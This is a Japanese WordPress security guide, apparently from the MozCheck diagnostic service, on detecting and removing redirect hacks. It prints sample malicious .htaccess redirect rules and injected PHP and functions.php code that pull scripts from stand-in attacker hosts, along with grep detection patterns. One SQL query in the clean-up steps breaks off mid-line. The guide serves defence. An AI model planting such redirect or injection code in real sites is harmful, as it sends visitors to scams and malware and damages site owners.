WordPressで勝手にリダイレクトされる原因と対策|リダイレクトハッキングの特定・完全駆除マニュアル

「自分のWordPressサイトを開くと、勝手に見知らぬ海外通販や偽警告、カジノサイトに飛ばされる」「Google検索結果からアクセスした読者から『怪しいサイトに転送された』と連絡が入った」——このような症状に直面した場合、サイトが第三者に改ざんされ、「リダイレクトハッキング(不正リダイレクト)」を仕掛けられている可能性が極めて高いです。

リダイレクトハッキングは、単に訪問者が別のサイトへ飛ばされるだけでなく、Googleからのペナルティによる検索順位の急落やインデックス削除、検索結果への「偽のサイト」「セキュリティ警告」の表示、さらには訪問者が詐欺被害やマルウェア二次感染に遭うことで企業の社会的信用が失墜するという深刻な二次被害を引き起こします。

さらに厄介なのは、「管理者自身がPCでアクセスしても正常に表示されるため、被害に気づくのが遅れる(条件付きリダイレクト)」という巧妙な罠が仕掛けられている点です。

本記事では、WordPressが勝手にリダイレクトされる原因と巧妙な仕組みから、今すぐ行うべき緊急初動対応、不正スクリプトが潜む5大潜伏箇所の特定、安全かつ確実に不正コードを完全駆除する実践手順、Google警告の解除方法、そして二度と被害に遭わないための再発防止策までを徹底解説します。

目次

📋 この記事でわかること

  • 勝手にリダイレクトされる被害発覚直後に最優先で行うべき3つの初動対応
  • 管理者のアクセスでは再現しない「条件付きリダイレクト」の巧妙な4つの手口
  • 不正コードが仕込まれる5大潜伏箇所(.htaccess、コアファイル、テーマ、プラグイン、DB)の調査・特定コマンド
  • 再発・バックドアを許さない安全な完全駆除と復旧の6ステップ
  • Google検索結果の警告(ブラックリスト)を解除するSearch Console再審査リクエスト手順
  • 二度とリダイレクトハッキング被害に遭わないための根本的な再発防止策

🚨 【緊急】勝手にリダイレクトされる被害に気づいたら最初に行う3つの初動対応

不正リダイレクトの被害が発覚した際、焦って手当たり次第にファイルを修正したり、原因を特定しないまま過去のバックアップで上書きしたりしてはいけません。不完全な対応は、証拠の消失やバックドアの残存による即座の再発を招きます。まずは落ち着いて、以下の3つの初動対応を迅速に実行してください。

1-1. サイトへのアクセス遮断(メンテナンスモード化)

最も優先すべきは「訪問者への二次被害の防止」「Google等の検索エンジンによるブラックリスト登録(警告表示)の回避」です。

サイトが放置されている間にも、訪問者が詐欺サイトへ誘導されたり、端末にマルウェアをダウンロードさせられたりする危険があります。また、Googleの巡回クローラーが不正リダイレクトを検知すると、検索結果に「このサイトは不正なソフトウェアを配布しています」「偽のサイト」といった警告が表示され、検索流入が壊滅的な打撃を受けます。

サーバーの .htaccess ファイルの先頭に以下の記述を一時的に追加し、管理者のIPアドレス以外からのアクセスを「503 Service Temporarily Unavailable(メンテナンス中)」として遮断してください。

# --- 緊急アクセス遮断(管理者IPのみ許可) ---
ErrorDocument 503 "503 Service Unavailable - メンテナンス中"
RewriteEngine On
RewriteCond %{REMOTE_ADDR} !=あなたのグローバルIPアドレス
RewriteCond %{REQUEST_URI} !^/maintenance\.html$
RewriteRule .* - [R=503,L]

1-2. 現状データの証拠保全と隔離バックアップ

復旧作業に入る前に、「改ざんされている現在の状態」のファイル群およびデータベースを丸ごとダウンロードして隔離保存してください。

  • 改ざんファイルの保全: どのファイルがいつ書き換えられたか(タイムスタンプ)、どのようなバックドアが仕込まれたかを後から調査・分析するために不可欠です。
  • 万一の作業ミス対策: 復旧作業中に誤って必要な設定ファイルや画像データを削除してしまった場合に元に戻せるようにします。

※保存したファイル群にはマルウェアや不正スクリプトが含まれているため、ローカルPC上で誤って実行・展開しないよう、ZIP等でパスワード付き圧縮して隔離保管してください。

1-3. 管理画面・サーバー・データベース全パスワードの即時変更

攻撃者がFTPアカウントやWordPress管理者アカウントの認証情報を窃取して不正侵入した場合、パスワードを放置したままでは作業中にも再改ざんが行われます。以下のパスワードを速やかにすべて推測不可能な強力な文字列に変更してください。

  1. WordPressの全管理者・編集者ユーザーのパスワード(不要な不審なユーザーがいないかも確認)
  2. FTP / SFTP / SSH 接続アカウントのパスワード
  3. サーバーコントロールパネル(cPanel, Plesk, レンタルサーバー管理画面)のパスワード
  4. データベース(MySQL / MariaDB)の接続パスワード(変更後は wp-config.phpDB_PASSWORD も更新)

🕵️ なぜ管理者が気づきにくい?「条件付きリダイレクト」の巧妙な仕組み

「読者から『変なサイトに飛ぶ』と言われたのに、自分でPCからURLを入力して見ても普通に自分のサイトが表示される」——これはリダイレクトハッキングで極めてよく見られる現象です。

攻撃者は、サイト管理者に異常を早期発見されて通報・修正されるのを防ぐため、「特定の条件に一致する一般ユーザーだけを転送する(条件付きリダイレクト)」スクリプトを仕込みます。

2-1. 検索エンジン(Google/Yahoo/Bing)経由のアクセスのみ転送

攻撃者は、ブラウザのアドレスバーに直接URLを入力したアクセス(ブックマークや管理者自身による直接確認)ではリダイレクトを発動させず、GoogleやYahoo!、Bingなどの検索結果リンクをクリックして流入したアクセス(HTTPリファラを持つユーザー)のみを外部サイトへ転送させます。

# 不正な.htaccessに仕込まれる条件付きリダイレクトの例(リファラ判定)
RewriteCond %{HTTP_REFERER} (google|yahoo|bing|duckduckgo|facebook) [NC]
RewriteRule ^(.*)$ https://malicious-redirect-site.example/scam.php [R=302,L]

2-2. スマートフォン・モバイル端末からのアクセスのみ転送

管理者の多くがPCでサイト管理・確認作業を行っていることを見越し、iPhoneやAndroidなどのスマートフォン(特定のUser-Agent)からアクセスされた場合のみリダイレクトを実行する手口です。PCブラウザでは正常に見えるため、管理者が気づくまでに数週間〜数ヶ月放置されてしまうケースが多発しています。

2-3. Cookie制御による「初回訪問時のみ転送」とログイン済み管理者の除外

さらに巧妙な攻撃では、ユーザーのブラウザに特定のCookieを付与し、「過去24時間以内にアクセスしたユーザーにはリダイレクトさせず通常ページを表示する」という制御を行います。管理者が一度リダイレクトの報告を受けて確認しようとしても、2回目以降は正常表示されるため「一時的な気のせいか」と誤認させられてしまいます。

また、wordpress_logged_in_ などのCookieを判別し、WordPressにログインしている管理者に対してはリダイレクトを完全に停止するスクリプトも多数確認されています。

💡 正しくリダイレクト症状を再現・確認する方法:
サイトが改ざんされているか確認する際は、「ブラウザのシークレットウィンドウ(Cookieなし・未ログイン)」を使用し、「開発者ツールのエミュレーターでスマホUA+Googleリファラを設定」するか、または以下のcurlコマンドでサーバーレスポンス(HTTPステータスコード 301/302 および Location ヘッダー)を確認してください。

curl -I -A "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)" \
     -e "https://www.google.com/" \
     https://your-site.example/

🔍 不正スクリプトが潜む5大潜伏箇所と調査・特定方法

リダイレクトハッキングのコードは、サイト内の様々な階層・ファイルに巧妙に分散して埋め込まれます。主要な5つの潜伏場所と調査ポイントを確認しましょう。

3-1. 潜伏先①:.htaccess ファイルの不正RewriteRule

サーバーのWebルート(通常は /public_html//var/www/html/)にある .htaccess は、リダイレクト攻撃で最も狙われやすいファイルです。

攻撃者は、ファイルの先頭や末尾、あるいは数百行の改行を挟んだ見えない位置に、不審なリダイレクトルールを書き込みます。

# 不正な.htaccessの典型例

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipad|mobile) [NC]
RewriteCond %{HTTP_REFERER} (google|yahoo|bing) [NC]
RewriteRule ^(.*)$ https://evil-tracking-network.example/gate.php?src=wp [R=302,L]

※また、/wp-content//wp-content/uploads//wp-includes/ などのサブディレクトリ内に勝手に .htaccess を新規作成して不正スクリプトを実行可能にする手口も存在します。

3-2. 潜伏先②:WordPressコアファイル(index.php / wp-blog-header.php 等)

Webルート直下の index.phpwp-blog-header.phpwp-config.php、あるいは wp-includes/ 配下の正規ファイルに、難読化されたPHPコードが先頭行に埋め込まれるパターンです。

<?php
/* 不正に挿入された難読化スクリプトの例 */
@ini_set('display_errors', 0);
if (!isset($_COOKIE['visited_user'])) {
    $ref = $_SERVER['HTTP_REFERER'] ?? '';
    if (preg_match('/(google|yahoo|bing)/i', $ref)) {
        setcookie('visited_user', '1', time() + 86400, '/');
        $payload = file_get_contents('https://cdn-evil-scripts.example/redirect.js');
        echo "<script>" . $payload . "</script>";
        exit;
    }
}
// ここから正規のWordPressコードが続く...

3-3. 潜伏先③:テーマファイル(header.php / functions.php 等)

現在有効化されているテーマの header.phpfunctions.php 内に、外部の不正JavaScriptを読み込むタグや、wp_head アクションフックにリダイレクト処理を登録するコードが追記されます。

// functions.php に追加される不正コードの例
function enqueue_external_stats_script() {
    echo '<script src="https://analytics-tracker-api.example/cdn.js" async></script>';
}
add_action('wp_head', 'enqueue_external_stats_script');

一見するとアクセス解析や広告タグに見えるファイル名(analytics.js, stats.js, tracker.min.js 等)に偽装されているのが特徴です。

3-4. 潜伏先④:プラグインディレクトリ・mu-plugins内の偽装ファイル

既存プラグインのPHPファイル内に不正コードが追記されるほか、管理画面のプラグイン一覧には表示されない /wp-content/mu-plugins/(Must-Useプラグイン)ディレクトリ内に、バックドアとなる不正PHPファイルが密かに設置されるケースが多発しています。

3-5. 潜伏先⑤:データベース(wp_options / wp_posts)

ファイルだけでなく、データベース内にリダイレクトのトリガーが保存されているケースもあります。

  • wp_options テーブル: siteurlhome の値が不正なドメインに書き換えられている、あるいはテーマのカスタムJavaScript設定・ウィジェット設定(widget_custom_html 等)に不正スクリプトが保存されている。
  • wp_posts テーブル: 投稿本文(post_content)内に <script src="..."></script> や隠しインラインフレーム(<iframe>)が一括挿入されている。

💻 SSH/ターミナルで使える不審コード一括検索コマンド:

# eval, base64_decode, gzinflate, str_rot13 などの難読化コードを検索
grep -rEi "(eval\(|base64_decode|gzinflate|str_rot13|file_get_contents\(.*https?:)" /path/to/wordpress/wp-content/

# 直近7日以内に変更・作成されたPHPファイルを検索
find /path/to/wordpress/ -name "*.php" -mtime -7

🛠️ 【完全実践】リダイレクトハッキングを安全に完全駆除する6ステップ

リダイレクトハッキングの被害に遭った場合、「見つかった不正コードを手作業で削除するだけ」では、高確率でバックドアが見落とされ、数時間〜数日以内に再感染します

最も安全で確実な方法は、「WordPress本体およびテーマ・プラグインを公式のクリーンなファイルで完全に置き換える(クリーン再構築)」ことです。以下の6ステップに沿って確実に実施してください。

ステップ1:WordPressコアファイルを公式最新版でクリーン再配置

  1. WordPress公式サイト(ja.wordpress.org)から最新バージョンのZIPファイルをダウンロードします。
  2. サーバー上の wp-admin/ および wp-includes/ ディレクトリを完全に削除します(上書きではなく完全削除してから新規配置することが重要です)。
  3. ダウンロードした公式ZIPから、新しい wp-admin/wp-includes/ ディレクトリ、およびルート直下のコアファイル(index.php, wp-login.php, wp-blog-header.php 等)をアップロードします。

ステップ2:テーマ・プラグインを公式から新規再インストール

  1. プラグインの再インストール: wp-content/plugins/ 内の全プラグインを削除し、公式ディレクトリまたは購入元からダウンロードした最新の正規ファイルを再配置します。
  2. テーマのクリーン化: 使用中のテーマが公式テーマの場合は公式から再インストールします。自作テーマや子テーマの場合は、バックアップデータからPHPファイル・JSファイルを1行ずつ精査し、不正コードが混入していないことを確認した上で再配置します。
  3. /wp-content/mu-plugins/ の確認: 自身で作成した覚えのないファイルが存在する場合はすべて削除します。
  4. /wp-content/uploads/ の点検: 画像保存フォルダ内に .php.phtml などの実行可能ファイルが混入していないか検索し、存在する場合はすべて削除します。

⚠️ uploadsディレクトリでのPHP実行を完全に無効化する:
wp-content/uploads/.htaccess を作成し、以下の記述を追加して画像フォルダ内でのスクリプト直接実行を遮断してください。

<FilesMatch "\.(php|phtml|php3|php4|php5|php7|phps|pl|py|cgi)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

ステップ3:.htaccess の初期化と再生成

Webルート直下の .htaccess を一旦削除し、以下のWordPress標準のデフォルトコードのみを記述した新しい .htaccess を作成します。

# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

ステップ4:データベース内の不正URL・スクリプトを完全洗浄

phpMyAdminやMySQLクライアントを使用し、データベース内の改ざんを確認・修正します。

  1. サイトURL設定の確認:
    SELECT * FROM wp_options WHERE option_name IN ('siteurl', 'home');

    URLが正しい自身のサイトURLになっているか確認し、書き換えられていれば正規のURLに修正します。

  2. 不正なスクリプトタグの検索:
    SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%

    投稿本文に見覚えのない外部ドメインへのスクリプトが含まれていないか精査し、該当箇所を削除・修正します。

  3. 不審な管理者ユーザーの確認・削除:
    SELECT ID, user_login, user_email, user_registered FROM wp_users;

    見覚えのない管理者ユーザーが存在する場合は即座に削除します。

ステップ5:wp-config.php の点検とSALT(認証用秘密鍵)の再生成

wp-config.php 内に不審なPHPコード(@include や難読化コード)が紛れ込んでいないか確認します。

また、攻撃者が過去に盗み出したセッションCookieを無効化するため、WordPress公式の秘密鍵生成サービス(WordPress.org Secret Key Generator)にアクセスし、AUTH_KEYLOGGED_IN_KEY などのSALT(認証用ユニークキー)を一新してください。これにより、不正ログイン中の全セッションが強制ログアウトされます。

ステップ6:残存バックドアの徹底排除と動作検証

  • cronジョブの点検: サーバーのcrontabやWordPressのWP-Cron(wp_options 内の cron レコード)に、定期的に不正スクリプトをダウンロード・実行するタスクが登録されていないか確認します。
  • 動作検証: メンテナンスモードを解除する前に、PCブラウザ(シークレットモード)、スマートフォン実機、curlコマンド(Googleリファラ付き)でアクセスし、勝手なリダイレクトが発生せず正常なページが表示されることを徹底確認します。

🌐 Google検索の警告表示(ブラックリスト・セキュリティの問題)を解除する手順

リダイレクトハッキング被害がGoogleに検知されると、Google検索結果やChromeブラウザ上で「偽のサイト」「偽の警告」などの赤い警告画面(ブラックリスト)が表示されるようになります。

ファイルのクリーンアップが完全に完了したら、Google Search Consoleから「再審査リクエスト」を申請して警告を解除してもらいましょう。

5-1. Google Search Consoleで検出された問題を確認する

  1. Google Search Console にログインします。
  2. 左側メニューの「セキュリティと手動による対策」>「セキュリティの問題」を開きます。
  3. 「不正なソフトウェア」「有害なダウンロード」「ソーシャル エンジニアリング(偽のサイト)」などの警告項目と、検出されたサンプルURL一覧を確認します。

5-2. 再審査リクエストの具体的な申請方法と記入文面例

「セキュリティの問題」画面にある「審査をリクエスト」ボタンをクリックし、どのような原因で何に対処したのかを具体的かつ簡潔に記載して送信します。

📝 再審査リクエストの記入文面テンプレート(例):

サイト管理者の〇〇です。セキュリティの問題として指摘された不正なリダイレクトコードおよびマルウェアの駆除対応を完了いたしましたので、再審査をお願い申し上げます。

【実施した対応内容】
1. 不正リダイレクトの原因となっていた改ざんされた .htaccess およびテーマ・コアファイルを公式最新版で完全に初期化・再配置いたしました。
2. プラグインをすべて最新版に更新し、不要なプラグインおよび uploads フォルダ内の不正スクリプトを完全削除いたしました。
3. データベース(wp_options / wp_posts)内の不審なスクリプトを精査・洗浄いたしました。
4. 全管理者アカウント・FTP・データベースのパスワードを変更し、認証用SALTを再生成して不要なセッションを遮断いたしました。
5. 外部スキャンおよび実機テストにおいて、不正な転送やスクリプト実行が発生しないことを確認済みです。

お手数をおかけいたしますが、警告の解除および再審査のほどよろしくお願い申し上げます。

通常、申請から数時間〜数日以内にGoogleによる再クロール・検証が行われ、問題がなければ警告が自動的に解除されます。


🛡️ 二度と改ざん・リダイレクトされないための再発防止・セキュリティ強化策

一度復旧しても、侵入経路となった脆弱性を塞がなければ、数週間後に別の攻撃者から再び攻撃を受けます。以下の恒久的なセキュリティ強化策を必ず実施してください。

6-1. WAF(Web Application Firewall)の常時有効化

レンタルサーバー(エックスサーバー、ConoHa WING、ロリポップ、さくらのレンタルサーバ等)の管理パネルに用意されている「WAF設定」を必ず有効(ON)にしてください。SQLインジェクションやクロスサイトスクリプティング(XSS)、不正ファイルアップロードなどの攻撃通信をサーバーの手前で自動遮断してくれます。

6-2. 本体・プラグイン・テーマの最新バージョン維持と不要アセット削除

WordPressのハッキング被害の約9割は「既知の脆弱性が放置された古いプラグインやテーマ」を経由して発生します。

  • WordPress本体のマイナー・メジャー自動更新を有効化する。
  • 使用していない無効化状態のプラグイン・テーマはサーバーから完全に削除する(無効化していてもファイルが存在するだけで脆弱性を悪用される危険があります)。
  • 長期間更新が停止している(最終更新が1年以上前の)プラグインは代替プラグインに移行する。

6-3. ファイルパーミッションの適切な設定とディレクトリ保護

ファイルやフォルダの権限(パーミッション)が適切でないと、攻撃者によるファイルの書き換えが容易になってしまいます。

  • ディレクトリ: 755(または 705
  • ファイル: 644(または 604
  • wp-config.php: 400 または 600(管理者のみ読み取り可能に制限)
  • .htaccess: 604 または 644

6-4. セキュリティ診断ツール(MozCheck)による定期チェック

セキュリティ対策は「一度設定したら終わり」ではありません。新たな脆弱性は日々発見されており、サイトの設定ミスや意図しない変更を早期発見する定期的なヘルスチェックが不可欠です。


⚖️ 自力復旧か専門会社への依頼か?判断基準チェックリスト

リダイレクトハッキングの復旧は、技術的な難易度が非常に高いトラブルの一つです。無理に自力で解決しようとしてデータを消失させたり、再感染を繰り返してGoogleブラックリストが長期化するリスクを避けるため、以下の基準で判断してください。

項目 自力復旧が可能な目安 専門会社への依頼を推奨する目安
バックアップ 感染前のクリーンな完全バックアップが存在する バックアップがない、またはいつ感染したか不明
サーバー操作スキル SSH/FTPで安全にファイル操作・SQL操作ができる ファイル編集やデータベース操作に不安がある
再発の有無 クリーン再配置後に再発が確認されない 手動修正しても即座にリダイレクトが再発する
サイトの重要度 個人の趣味ブログやテスト環境 企業のコーポレートサイト、オウンドメディア、ECサイト(商用)

特に「何度修正しても翌日には元に戻る(バックドアが特定できない)」「企業の重要サイトで1日も早い完全復旧と原因報告書が求められる」という場合は、被害が拡大する前にWordPressセキュリティ専門の復旧サービスへ相談することを強くおすすめします。


まとめ:迅速な初動とクリーンな再構築で安全なサイトを取り戻そう

WordPressが勝手にリダイレクトされる「リダイレクトハッキング」は、放置するとSEO順位の急落やGoogle警告、社会的信用の失墜につながる緊急性の高いトラブルです。

しかし、「①迅速なアクセス遮断と証拠保全」「②条件付きリダイレクトの罠を見極めた調査」「③コアファイル・テーマ・プラグインのクリーン再配置によるバックドア根絶」「④Search Consoleからの再審査リクエスト」を正しい手順で着実に進めれば、安全に完全復旧させることができます。

🛡️ あなたのWordPressサイトの安全性を今すぐ無料診断

「サイトが改ざんされていないか不安」「リダイレクトハッキングの再発を防ぐための設定ができているか確認したい」という方は、ぜひMozCheckをご活用ください。サイトURLを入力するだけで、WordPressの設定状況やセキュリティ健全性をわずか数十秒で無料診断できます。

📚 あわせて読みたい関連記事

投稿者

🧰 WordPress無料診断

サイト改善の第一歩をお届け

当サイト「MozCheck」は、WordPressサイトの不安をチェックできる無料診断サービスです。
URLを入力するだけ。登録不要、すぐに診断結果が表示されます。

コメント

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です